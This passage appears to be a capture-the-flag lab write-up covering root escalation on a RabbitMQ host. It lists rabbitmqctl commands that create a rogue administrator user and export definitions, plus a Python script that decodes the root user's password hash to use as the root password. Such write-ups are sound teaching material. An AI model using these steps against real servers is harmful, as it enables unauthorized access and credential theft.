<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fa5Mr7WTqIpZQNl2wsHDH%2Fgrafik.png?alt=media&#x26;token=1c30eb99-17c7-431b-b2ed-455d871da2ca" alt=""><figcaption></figcaption></figure>

## Shell as root

Since we are now the `rabbitmq` user, we could issue RabbitMQ commands with `rabbitmqctl`. One of the ideas could be to retrieve the users and passwords to check if they are reused. But we get an error. The `.erlang.cookie` is not only owned by the owner itself. With that issue we are not able to execute rabbitmqctl commands.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F3kWuLxDPKEB4Kn0lgt47%2Fgrafik.png?alt=media&#x26;token=d3baefe5-ad74-49af-83bf-b2ead519e6c3" alt=""><figcaption></figcaption></figure>

Nevertheless, we can view the `rabbit_user.DCD`. This file is part of the RabbitMQ database. There is a message indicating that the root user's password is the same as the SHA-256 hash of the RabbitMQ root user's password.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FeS0sNcHHaRd4wN8HtD1t%2Fgrafik.png?alt=media&#x26;token=72cc58c9-2951-4701-bd45-29b677d1b04b" alt=""><figcaption></figcaption></figure>

Alternatively, we can also correct the permissions of the Erlang cookie, which will be necessary for later use.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FE5UTYjBFv7ZYnB7MiWOD%2Fgrafik.png?alt=media&#x26;token=f5267867-accb-4e46-8db3-dddebecf5db5" alt=""><figcaption></figcaption></figure>

When reading up on how RabbitMQ works, we find the rabbit definitions that we can export as admin. Those include the password\_hash mentiond in the users file. The idea now is to create an admin user and get the definitions with this user.

{% embed url="<https://www.rabbitmq.com/docs/definitions>" %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FCxwU0951iqY5VT8VB1xB%2Fgrafik.png?alt=media&#x26;token=c9ccd64e-a043-402d-89a3-8f59ea839d95" alt=""><figcaption></figcaption></figure>

Since we have already corrected the authorizations for the Erlang cookie, we can create the user and export the definitions.

```
rabbitmqctl add_user 0xb0b 0xb0b 
rabbitmqctl set_permissions -p / 0xb0b ".*" ".*" ".*"
rabbitmqctl set_user_tags 0xb0b administrator
rabbitmqadmin export rabbit.definitions.json -u 0xb0b -p 0xb0b 
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FgPQ41MueQ99j2MYQNwIO%2Fgrafik.png?alt=media&#x26;token=3c1d4898-be3b-4986-b368-b92991a8a964" alt=""><figcaption></figcaption></figure>

In these we find the hash for the `root` user.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F6b3VgqmUnIOfOoeZrdDu%2Fgrafik.png?alt=media&#x26;token=00f8d647-0205-4dd5-b3f7-af02e401de6b" alt=""><figcaption></figcaption></figure>

The following gist shows us how the rabbit password hash is composed.

{% embed url="<https://gist.github.com/christianclinton/faa1aef119a0919aeb2e>" %}

We only need to decode this base64. Since we only need the SHA-256 hash.

{% code title="decode-hash.py" overflow="wrap" lineNumbers="true" %}

```python
import hashlib
import binascii

hash = 'REDACTED'
def decode_rabbit_password_hash(password_hash):
    password_hash = binascii.a2b_base64(password_hash)
    decoded_hash = password_hash.hex()
    return decoded_hash[0:8], decoded_hash[8:]
print(decode_rabbit_password_hash(hash))
```

{% endcode %}

We decode the hash...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FBejCFiA9q8BRmgpbrGNd%2Fgrafik.png?alt=media&#x26;token=dbc8a286-9d31-4ef4-9ab3-d7fceacc370d" alt=""><figcaption></figcaption></figure>

... and use that hash to switch user to `root` and find the final flag in the `root`'s home directory.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FOU0SPMhVFotqd3UAolbV%2Fgrafik.png?alt=media&#x26;token=b9eb1c95-4c1f-4015-97f7-20fca15fba27" alt=""><figcaption></figcaption></figure>
